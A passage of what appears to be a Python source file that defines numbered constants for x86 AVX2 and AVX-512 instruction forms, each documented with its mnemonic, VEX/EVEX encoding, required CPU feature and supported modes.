EVEX_VPSRAVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3041
"""
``VPSRAVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 46 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAVQ_XMM_K1Z_XMM_XMMM128B64: int = 3042
"""
``VPSRAVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 46 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAVQ_YMM_K1Z_YMM_YMMM256B64: int = 3043
"""
``VPSRAVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 46 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3044
"""
``VPSRAVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 46 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPSLLVD_XMM_XMM_XMMM128: int = 3045
"""
``VPSLLVD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 47 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSLLVD_YMM_YMM_YMMM256: int = 3046
"""
``VPSLLVD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 47 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSLLVQ_XMM_XMM_XMMM128: int = 3047
"""
``VPSLLVQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 47 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPSLLVQ_YMM_YMM_YMMM256: int = 3048
"""
``VPSLLVQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 47 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLVD_XMM_K1Z_XMM_XMMM128B32: int = 3049
"""
``VPSLLVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 47 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLVD_YMM_K1Z_YMM_YMMM256B32: int = 3050
"""
``VPSLLVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 47 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3051
"""
``VPSLLVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 47 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLVQ_XMM_K1Z_XMM_XMMM128B64: int = 3052
"""
``VPSLLVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 47 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLVQ_YMM_K1Z_YMM_YMMM256B64: int = 3053
"""
``VPSLLVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 47 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3054
"""
``VPSLLVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 47 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14PS_XMM_K1Z_XMMM128B32: int = 3055
"""
``VRCP14PS xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 4C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14PS_YMM_K1Z_YMMM256B32: int = 3056
"""
``VRCP14PS ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 4C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14PS_ZMM_K1Z_ZMMM512B32: int = 3057
"""
``VRCP14PS zmm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.66.0F38.W0 4C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14PD_XMM_K1Z_XMMM128B64: int = 3058
"""
``VRCP14PD xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 4C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14PD_YMM_K1Z_YMMM256B64: int = 3059
"""
``VRCP14PD ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 4C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14PD_ZMM_K1Z_ZMMM512B64: int = 3060
"""
``VRCP14PD zmm1 {k1}{z}, zmm2/m512/m64bcst``
``EVEX.512.66.0F38.W1 4C /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14SS_XMM_K1Z_XMM_XMMM32: int = 3061
"""
``VRCP14SS xmm1 {k1}{z}, xmm2, xmm3/m32``
``EVEX.LIG.66.0F38.W0 4D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRCP14SD_XMM_K1Z_XMM_XMMM64: int = 3062
"""
``VRCP14SD xmm1 {k1}{z}, xmm2, xmm3/m64``
``EVEX.LIG.66.0F38.W1 4D /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14PS_XMM_K1Z_XMMM128B32: int = 3063
"""
``VRSQRT14PS xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 4E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14PS_YMM_K1Z_YMMM256B32: int = 3064
"""
``VRSQRT14PS ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 4E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14PS_ZMM_K1Z_ZMMM512B32: int = 3065
"""
``VRSQRT14PS zmm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.66.0F38.W0 4E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14PD_XMM_K1Z_XMMM128B64: int = 3066
"""
``VRSQRT14PD xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 4E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14PD_YMM_K1Z_YMMM256B64: int = 3067
"""
``VRSQRT14PD ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 4E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14PD_ZMM_K1Z_ZMMM512B64: int = 3068
"""
``VRSQRT14PD zmm1 {k1}{z}, zmm2/m512/m64bcst``
``EVEX.512.66.0F38.W1 4E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14SS_XMM_K1Z_XMM_XMMM32: int = 3069
"""
``VRSQRT14SS xmm1 {k1}{z}, xmm2, xmm3/m32``
``EVEX.LIG.66.0F38.W0 4F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VRSQRT14SD_XMM_K1Z_XMM_XMMM64: int = 3070
"""
``VRSQRT14SD xmm1 {k1}{z}, xmm2, xmm3/m64``
``EVEX.LIG.66.0F38.W1 4F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPDPBUSD_XMM_K1Z_XMM_XMMM128B32: int = 3071
"""
``VPDPBUSD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 50 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPBUSD_YMM_K1Z_YMM_YMMM256B32: int = 3072
"""
``VPDPBUSD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 50 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPBUSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3073
"""
``VPDPBUSD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 50 /r``
``AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPBUSDS_XMM_K1Z_XMM_XMMM128B32: int = 3074
"""
``VPDPBUSDS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 51 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPBUSDS_YMM_K1Z_YMM_YMMM256B32: int = 3075
"""
``VPDPBUSDS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 51 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPBUSDS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3076
"""
``VPDPBUSDS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 51 /r``
``AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPWSSD_XMM_K1Z_XMM_XMMM128B32: int = 3077
"""
``VPDPWSSD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 52 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPWSSD_YMM_K1Z_YMM_YMMM256B32: int = 3078
"""
``VPDPWSSD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 52 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPWSSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3079
"""
``VPDPWSSD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 52 /r``
``AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VDPBF16PS_XMM_K1Z_XMM_XMMM128B32: int = 3080
"""
``VDPBF16PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F3.0F38.W0 52 /r``
``AVX512VL and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VDPBF16PS_YMM_K1Z_YMM_YMMM256B32: int = 3081
"""
``VDPBF16PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F3.0F38.W0 52 /r``
``AVX512VL and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VDPBF16PS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3082
"""
``VDPBF16PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.F3.0F38.W0 52 /r``
``AVX512F and AVX512_BF16``
``16/32/64-bit``
"""
EVEX_VP4DPWSSD_ZMM_K1Z_ZMMP3_M128: int = 3083
"""
``VP4DPWSSD zmm1 {k1}{z}, zmm2+3, m128``
``EVEX.512.F2.0F38.W0 52 /r``
``AVX512_4VNNIW``
``16/32/64-bit``
"""
EVEX_VPDPWSSDS_XMM_K1Z_XMM_XMMM128B32: int = 3084
"""
``VPDPWSSDS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 53 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPWSSDS_YMM_K1Z_YMM_YMMM256B32: int = 3085
"""
``VPDPWSSDS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 53 /r``
``AVX512VL and AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VPDPWSSDS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3086
"""
``VPDPWSSDS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 53 /r``
``AVX512_VNNI``
``16/32/64-bit``
"""
EVEX_VP4DPWSSDS_ZMM_K1Z_ZMMP3_M128: int = 3087
"""
``VP4DPWSSDS zmm1 {k1}{z}, zmm2+3, m128``
``EVEX.512.F2.0F38.W0 53 /r``
``AVX512_4VNNIW``
``16/32/64-bit``
"""
EVEX_VPOPCNTB_XMM_K1Z_XMMM128: int = 3088
"""
``VPOPCNTB xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W0 54 /r``
``AVX512VL and AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPOPCNTB_YMM_K1Z_YMMM256: int = 3089
"""
``VPOPCNTB ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W0 54 /r``
``AVX512VL and AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPOPCNTB_ZMM_K1Z_ZMMM512: int = 3090
"""
``VPOPCNTB zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W0 54 /r``
``AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPOPCNTW_XMM_K1Z_XMMM128: int = 3091
"""
``VPOPCNTW xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W1 54 /r``
``AVX512VL and AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPOPCNTW_YMM_K1Z_YMMM256: int = 3092
"""
``VPOPCNTW ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W1 54 /r``
``AVX512VL and AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPOPCNTW_ZMM_K1Z_ZMMM512: int = 3093
"""
``VPOPCNTW zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W1 54 /r``
``AVX512_BITALG``
``16/32/64-bit``
"""
EVEX_VPOPCNTD_XMM_K1Z_XMMM128B32: int = 3094
"""
``VPOPCNTD xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 55 /r``
``AVX512VL and AVX512_VPOPCNTDQ``
``16/32/64-bit``
"""
EVEX_VPOPCNTD_YMM_K1Z_YMMM256B32: int = 3095
"""
``VPOPCNTD ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 55 /r``
``AVX512VL and AVX512_VPOPCNTDQ``
``16/32/64-bit``
"""
EVEX_VPOPCNTD_ZMM_K1Z_ZMMM512B32: int = 3096
"""
``VPOPCNTD zmm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.66.0F38.W0 55 /r``
``AVX512_VPOPCNTDQ``
``16/32/64-bit``
"""
EVEX_VPOPCNTQ_XMM_K1Z_XMMM128B64: int = 3097
"""
``VPOPCNTQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 55 /r``
``AVX512VL and AVX512_VPOPCNTDQ``
``16/32/64-bit``
"""
EVEX_VPOPCNTQ_YMM_K1Z_YMMM256B64: int = 3098
"""
``VPOPCNTQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 55 /r``
``AVX512VL and AVX512_VPOPCNTDQ``
``16/32/64-bit``
"""
EVEX_VPOPCNTQ_ZMM_K1Z_ZMMM512B64: int = 3099
"""
``VPOPCNTQ zmm1 {k1}{z}, zmm2/m512/m64bcst``
``EVEX.512.66.0F38.W1 55 /r``
``AVX512_VPOPCNTDQ``
``16/32/64-bit``
"""
VEX_VPBROADCASTD_XMM_XMMM32: int = 3100
"""
``VPBROADCASTD xmm1, xmm2/m32``
``VEX.128.66.0F38.W0 58 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPBROADCASTD_YMM_XMMM32: int = 3101
"""
``VPBROADCASTD ymm1, xmm2/m32``
``VEX.256.66.0F38.W0 58 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPBROADCASTD_XMM_K1Z_XMMM32: int = 3102
"""
``VPBROADCASTD xmm1 {k1}{z}, xmm2/m32``
``EVEX.128.66.0F38.W0 58 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTD_YMM_K1Z_XMMM32: int = 3103
"""
``VPBROADCASTD ymm1 {k1}{z}, xmm2/m32``
``EVEX.256.66.0F38.W0 58 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTD_ZMM_K1Z_XMMM32: int = 3104
"""
``VPBROADCASTD zmm1 {k1}{z}, xmm2/m32``
``EVEX.512.66.0F38.W0 58 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPBROADCASTQ_XMM_XMMM64: int = 3105
"""
``VPBROADCASTQ xmm1, xmm2/m64``
``VEX.128.66.0F38.W0 59 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VPBROADCASTQ_YMM_XMMM64: int = 3106
"""
``VPBROADCASTQ ymm1, xmm2/m64``
``VEX.256.66.0F38.W0 59 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VBROADCASTI32X2_XMM_K1Z_XMMM64: int = 3107
"""
``VBROADCASTI32X2 xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.W0 59 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTI32X2_YMM_K1Z_XMMM64: int = 3108
"""
``VBROADCASTI32X2 ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.W0 59 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTI32X2_ZMM_K1Z_XMMM64: int = 3109
"""
``VBROADCASTI32X2 zmm1 {k1}{z}, xmm2/m64``
``EVEX.512.66.0F38.W0 59 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VPBROADCASTQ_XMM_K1Z_XMMM64: int = 3110
"""
``VPBROADCASTQ xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.W1 59 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTQ_YMM_K1Z_XMMM64: int = 3111
"""
``VPBROADCASTQ ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.W1 59 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBROADCASTQ_ZMM_K1Z_XMMM64: int = 3112
"""
``VPBROADCASTQ zmm1 {k1}{z}, xmm2/m64``
``EVEX.512.66.0F38.W1 59 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VBROADCASTI128_YMM_M128: int = 3113
"""
``VBROADCASTI128 ymm1, m128``
``VEX.256.66.0F38.W0 5A /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VBROADCASTI32X4_YMM_K1Z_M128: int = 3114
"""
``VBROADCASTI32X4 ymm1 {k1}{z}, m128``
``EVEX.256.66.0F38.W0 5A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTI32X4_ZMM_K1Z_M128: int = 3115
"""
``VBROADCASTI32X4 zmm1 {k1}{z}, m128``
``EVEX.512.66.0F38.W0 5A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTI64X2_YMM_K1Z_M128: int = 3116
"""
``VBROADCASTI64X2 ymm1 {k1}{z}, m128``
``EVEX.256.66.0F38.W1 5A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTI64X2_ZMM_K1Z_M128: int = 3117
"""
``VBROADCASTI64X2 zmm1 {k1}{z}, m128``
``EVEX.512.66.0F38.W1 5A /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTI32X8_ZMM_K1Z_M256: int = 3118
"""
``VBROADCASTI32X8 zmm1 {k1}{z}, m256``
``EVEX.512.66.0F38.W0 5B /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTI64X4_ZMM_K1Z_M256: int = 3119
"""
``VBROADCASTI64X4 zmm1 {k1}{z}, m256``
``EVEX.512.66.0F38.W1 5B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPEXPANDB_XMM_K1Z_XMMM128: int = 3120
"""
``VPEXPANDB xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W0 62 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPEXPANDB_YMM_K1Z_YMMM256: int = 3121
"""
``VPEXPANDB ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W0 62 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPEXPANDB_ZMM_K1Z_ZMMM512: int = 3122
"""
``VPEXPANDB zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W0 62 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPEXPANDW_XMM_K1Z_XMMM128: int = 3123
"""
``VPEXPANDW xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.W1 62 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPEXPANDW_YMM_K1Z_YMMM256: int = 3124
"""
``VPEXPANDW ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.W1 62 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPEXPANDW_ZMM_K1Z_ZMMM512: int = 3125
"""
``VPEXPANDW zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.W1 62 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSB_XMMM128_K1Z_XMM: int = 3126
"""
``VPCOMPRESSB xmm1/m128 {k1}{z}, xmm2``
``EVEX.128.66.0F38.W0 63 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSB_YMMM256_K1Z_YMM: int = 3127
"""
``VPCOMPRESSB ymm1/m256 {k1}{z}, ymm2``
``EVEX.256.66.0F38.W0 63 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSB_ZMMM512_K1Z_ZMM: int = 3128
"""
``VPCOMPRESSB zmm1/m512 {k1}{z}, zmm2``
``EVEX.512.66.0F38.W0 63 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSW_XMMM128_K1Z_XMM: int = 3129
"""
``VPCOMPRESSW xmm1/m128 {k1}{z}, xmm2``
``EVEX.128.66.0F38.W1 63 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSW_YMMM256_K1Z_YMM: int = 3130
"""
``VPCOMPRESSW ymm1/m256 {k1}{z}, ymm2``
``EVEX.256.66.0F38.W1 63 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPCOMPRESSW_ZMMM512_K1Z_ZMM: int = 3131
"""
``VPCOMPRESSW zmm1/m512 {k1}{z}, zmm2``
``EVEX.512.66.0F38.W1 63 /r``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPBLENDMD_XMM_K1Z_XMM_XMMM128B32: int = 3132
"""
``VPBLENDMD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 64 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBLENDMD_YMM_K1Z_YMM_YMMM256B32: int = 3133
"""
``VPBLENDMD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 64 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBLENDMD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3134
"""
``VPBLENDMD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 64 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPBLENDMQ_XMM_K1Z_XMM_XMMM128B64: int = 3135
"""
``VPBLENDMQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 64 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBLENDMQ_YMM_K1Z_YMM_YMMM256B64: int = 3136
"""
``VPBLENDMQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 64 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPBLENDMQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3137
"""
``VPBLENDMQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 64 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VBLENDMPS_XMM_K1Z_XMM_XMMM128B32: int = 3138
"""
``VBLENDMPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 65 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBLENDMPS_YMM_K1Z_YMM_YMMM256B32: int = 3139
"""
``VBLENDMPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 65 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBLENDMPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3140
"""
``VBLENDMPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 65 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VBLENDMPD_XMM_K1Z_XMM_XMMM128B64: int = 3141
"""
``VBLENDMPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 65 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBLENDMPD_YMM_K1Z_YMM_YMMM256B64: int = 3142
"""
``VBLENDMPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 65 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBLENDMPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 3143
"""
``VBLENDMPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 65 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPBLENDMB_XMM_K1Z_XMM_XMMM128: int = 3144
"""
``VPBLENDMB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 66 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBLENDMB_YMM_K1Z_YMM_YMMM256: int = 3145
"""
``VPBLENDMB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 66 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBLENDMB_ZMM_K1Z_ZMM_ZMMM512: int = 3146
"""
``VPBLENDMB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 66 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBLENDMW_XMM_K1Z_XMM_XMMM128: int = 3147
"""
``VPBLENDMW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 66 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBLENDMW_YMM_K1Z_YMM_YMMM256: int = 3148
"""
``VPBLENDMW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 66 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPBLENDMW_ZMM_K1Z_ZMM_ZMMM512: int = 3149
"""
``VPBLENDMW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 66 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VP2INTERSECTD_KP1_XMM_XMMM128B32: int = 3150
"""
``VP2INTERSECTD k1+1, xmm2, xmm3/m128/m32bcst``
``EVEX.128.F2.0F38.W0 68 /r``
``AVX512VL and AVX512_VP2INTERSECT``
``16/32/64-bit``
"""
EVEX_VP2INTERSECTD_KP1_YMM_YMMM256B32: int = 3151
"""
``VP2INTERSECTD k1+1, ymm2, ymm3/m256/m32bcst``
``EVEX.256.F2.0F38.W0 68 /r``
``AVX512VL and AVX512_VP2INTERSECT``
``16/32/64-bit``
"""
EVEX_VP2INTERSECTD_KP1_ZMM_ZMMM512B32: int = 3152
"""
``VP2INTERSECTD k1+1, zmm2, zmm3/m512/m32bcst``
``EVEX.512.F2.0F38.W0 68 /r``
``AVX512F and AVX512_VP2INTERSECT``
``16/32/64-bit``
"""
EVEX_VP2INTERSECTQ_KP1_XMM_XMMM128B64: int = 3153
"""
``VP2INTERSECTQ k1+1, xmm2, xmm3/m128/m64bcst``
``EVEX.128.F2.0F38.W1 68 /r``
``AVX512VL and AVX512_VP2INTERSECT``
``16/32/64-bit``
"""
EVEX_VP2INTERSECTQ_KP1_YMM_YMMM256B64: int = 3154
"""
``VP2INTERSECTQ k1+1, ymm2, ymm3/m256/m64bcst``
``EVEX.256.F2.0F38.W1 68 /r``
``AVX512VL and AVX512_VP2INTERSECT``
``16/32/64-bit``
"""
EVEX_VP2INTERSECTQ_KP1_ZMM_ZMMM512B64: int = 3155
"""
``VP2INTERSECTQ k1+1, zmm2, zmm3/m512/m64bcst``
``EVEX.512.F2.0F38.W1 68 /r``
``AVX512F and AVX512_VP2INTERSECT``
``16/32/64-bit``
"""
EVEX_VPSHLDVW_XMM_K1Z_XMM_XMMM128: int = 3156
"""
``VPSHLDVW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 70 /r``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
